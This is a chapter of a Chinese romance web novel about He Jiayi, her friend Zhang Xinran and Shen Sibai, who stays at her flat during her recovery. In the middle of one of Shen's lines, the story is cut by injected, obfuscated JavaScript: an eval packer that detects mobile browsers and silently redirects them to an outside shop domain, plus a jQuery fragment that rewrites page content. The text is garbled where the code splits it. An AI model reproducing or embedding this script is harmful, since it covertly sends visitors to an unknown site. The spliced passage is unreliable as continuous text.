离开何嘉懿的公寓，彭涵宇下到地库，坐进车里，没有第一时间发动引擎。
他靠在驾驶座上，打开微信。十几条未读消息一股脑地蹦出来，看头像清一色是女生。有人发自拍，有人问他在干什么，还有人语气暧昧地抱怨他失联。他眼皮都没抬一下，手指径直往下滑，找到记有沈斯白信息的文档，点了进去。
文档上的照片应该是从他们律所官网截下来的。背景干净、西装笔挺、神情冷淡。即便心里非常不痛快，彭涵宇也不得不承认，这人的长相确实周正，这还是在有点不上相的情况下。
彭涵宇盯着屏幕，嗤了一声。
难道就只是因为这张脸？
正想着，手机突然弹出来视频通话，他皱着眉点了接听，语气糟糕：“有事吗？我有没有说过别随便给我打电话？”
对面的女生本是笑盈盈看着镜头的，被他这样一问，面色顿时有些不好，语气却尽量压抑着：“没有呀，本来说好陪我吃晚饭的，吃到一半突然走了，几个小时过去了也没有消息……我有点担心嘛，想着这个时间你应该也没有别的事情要忙，这才打给了你……我不是故意的。”
彭涵宇揉了揉眉心，心中仍旧烦闷，但见她小心翼翼的，也不好在她身上发作。他换了个姿势道：“前几天你发给我的那家，刚摘三星的店，叫什么来着？”
“étoile。”女人回道。
她的发音不标准，却是明显查过读音，有尽力在模仿。她知道彭涵宇会法语，怕自己会因为读错一个小小的餐厅名字而被他笑话。
察觉到她语气中带着讨好的认真，彭涵宇轻笑一声，神情温和了些，道：“这周末带你去吃。”
女人有些惊喜地睁大眼睛：“但我看说要提前两个月预约诶。”
“你等着吃就是了。”彭涵宇笑了笑，挂断电话。
刚才的坏心情一扫而空，他哼着歌，找人安排好位置，将具体时间发给女人，又顺手转了笔账过去，当作他今天行为的赔礼。
对方很快收了钱，回了个乖巧又欣喜的表情。彭涵宇扫了一眼，没再回复，直接把手机丢到一旁。
对有些人来说，感情只是被需要、被仰望、被确认仍然站在高处。
当代人失眠的因素有很多，人造光源在夜间的刺激、咖啡因、缺乏户外运动、网上大量的碎片化信息……
心里装着事的人大多失眠。
喝多了还睡不着的，却着实该去医院看看。
何嘉懿侧躺在床上，清晰地感觉到自己身躯的疲惫，精神却仍然活跃着。
她闭着眼睛，脑子里不断回放着零碎的片段——走廊的灯光、指纹锁的提示音、蜂蜜水的温度，还有客厅里那盏始终没关的落地灯。
她裹着被子翻了个身，伸手想要去拿床头柜上的手机。
屏幕亮起，她看到张欣冉几个小时前给她发的消息：到了吗？
从被子里翻出另一只胳膊，她双手打字，回道：早到了。
没想到那边却秒回：还不睡？你都喝多了还能醒这么久？
不等何嘉懿打字，对面直接一个电话打了过来。
“大小姐，你真以为自己成仙了？养病期间喝酒、喝多了又不睡觉，你想干什么？”张欣冉开口叫道。
何嘉懿被她的声音震得闭了闭眼，手指按了几下音量键，这才道：“刚才有点事，没睡，现在睡不着了。”
“你能有什么事？”张欣冉下意识反驳，思索一瞬，表情变得震惊：“不会是彭涵宇找你麻烦吧？”
何嘉懿一怔：“没有啊，他为什么要找我麻烦？”
“是哦，”张欣冉尴尬得笑了笑，也没有多说，转而道，“那是为什么？”
何嘉懿张了张口，却不知该从何讲起。
“你呢？”她干脆闭口不谈，“你怎么还没睡？”
“我才到家。”张欣冉一边说着，一边走到卫生间。
她将手机放到一边，戴上头箍，挤了些卸妆油，在脸上按摩打着圈：“他们还有人问我你怎么走这么早，说你最后一个到、第一个走，迟到早退。我说人家都摔得住了两周院，本来就不该来的。是你们非要见见人家，彭涵宇才去接的人。”
张欣冉一边说着，一边打开水龙头，低下头开始洗脸。
何嘉懿听着哗啦啦的水流声，撑起身来，将枕头立起当作靠枕，又顺手打开台灯。
“你怎么不说话？”张欣冉拿起手机，脸上还挂着水珠。
何嘉懿笑了一下，有些心不在焉：“没事，他们爱说就说去呗。而且说得也没错。”
张欣冉没顾上拿擦脸巾，仔细看着她的神色，突然眯起眼，指着她道：“你不对劲。”
“我怎么了？”何嘉懿觉得有些好笑。
“你房间里是不是有男的？”张欣冉语出惊人。
何嘉懿愣怔一瞬，却只是这一秒的茫然，张欣冉便确定以及肯定了自己的猜测。
“哈！”她笑得像捉住老鼠的猫，“我就说嘛，三更半夜的不睡觉，讲话也心不在焉，必定有鬼。”
“呃——”何嘉懿有些不知道该怎么说。
从宏观层面来看，张欣冉说得确实没错。
但从微观层面来看……她口中的男人一定不是指沈斯白。
“你怎么扭扭捏捏的？”张欣冉笑看着她，“可别跟我说是失忆了之后就变性子了啊，你当时在病房看到沈斯白，本来还蔫蔫的，看到他一下子就精神了。”
“还是说这个太帅了？你不愿意拿出来给姐妹看？”张欣冉压根不给她说话的机会，兀自猜测着，“这倒是有点可能哈，之前高中你谈的那个篮球队长也是不愿意给我们说。”
“那个倒不是因为他长得帅，”何嘉懿终于找到机会，“那个是他不想公开，怕别人说他出卖色相、吃软饭。”
正说着，门外却传来一声极轻的敲门声。
何嘉懿动作一顿。
敲门声只响了一次，随后便再无动静。何嘉懿盯着门板看了一会，最终还是按下通话静音键，开口道：“怎么了？”
门外沉默了一瞬，随后传来沈斯白低低的声音：“还没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059499|194992||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睡？”
“没有。”她顿了顿，又补了一句，“睡不太着。”
门被推开一条缝，客厅的微光顺着门缝渗进来。沈斯白站在门外，没有贸然进来，只是靠在门框旁：“医生之前交代过，修养期尽量别熬夜。”
他仍然戴着眼镜，衬衫西裤，衬衫领子处的扣子解开了两颗，袖口挽到小臂。
“你看着也不像是睡觉了的样子。”何嘉懿选择转移矛盾。
沈斯白推门走入，将眼镜取下，捏了捏被压久的鼻梁：“我跟领导请假了，等周日再回港，所以今晚要把这周的工作基本都做完。”
何嘉懿张口，下意识想问他为何要待这么久，却没问出口。
“你是要留在春申陪我吗？”她转而问道。
沈斯白垂眼看向她，台灯作为光源打在他脸上，明暗交接，柔和了轮廓。
“不然呢？”沈斯白指尖勾着眼镜中间，“我请假待在这旅游？”
“你知道自己说话很喜欢用反问句吗？”何嘉懿蹙了下眉，忍不住问。
沈斯白笑了笑，将眼镜放到床头柜上：“我跟别人不这样说话。”
“就只针对我？”何嘉懿有些不可置信地指了指自己，“一直这种态度，我还非要跟你结婚？”
顿了顿，她实在没忍住，还是说出了口：“我有病啊？”
沈斯白笑了一下，没再跟她多说，转身走进主卧配套的步入式衣帽间。
“喂——”何嘉懿见他轻车熟路，似乎真把这当自己家了，“你进我衣帽间干什么？”
不等她从床上起来，男人已经从衣帽间走出，手中多了一套灰色睡衣。
何嘉懿目瞪口呆。
“你说我为什么进衣帽间？”他再次用了反问句。
——强调语气、表示肯定、不求回答。
待沈斯白走进洗手间，何嘉懿快速拿起手机，取消了静音键。
“你到底藏了谁啊？”张欣冉一直注意着屏幕，几乎是同时开口，好奇快要溢满她的整颗心脏，“跟他说话还要把我放静音？”
“我衣帽间里有沈斯白的睡衣。”
她直接扔下核弹级别的八卦，炸得张欣冉久久缓不过神来。
“等一下，”张欣冉揉了揉头发，表情痛苦，“等一下，你让我理解一下。”
何嘉懿没说话，她也需要时间来消化这件事。
何嘉懿是一个非常注重边界感的人，从小就不喜欢别人进她的房间，和朋友出去玩也不愿意同住，必定是自己单开一间房间。也因此，除了张欣冉，她身边几乎没有其他特别亲近的好朋友。
在过往的恋爱中，她连家门都很少让对方踏进，更不要说留对方的生活用品了。
她不喜欢空间被侵占的感觉，即便是爱情这种亲密关系也不行。在她的概念里，恋爱可以共享时间、情绪，却不该共享太多生活边界。一起吃饭、游玩、旅行，都在她可接受的范围内；但“留下来”，却意味着另一种层级的关系。
事实上，她从未想过真正的和另一个人一起生活。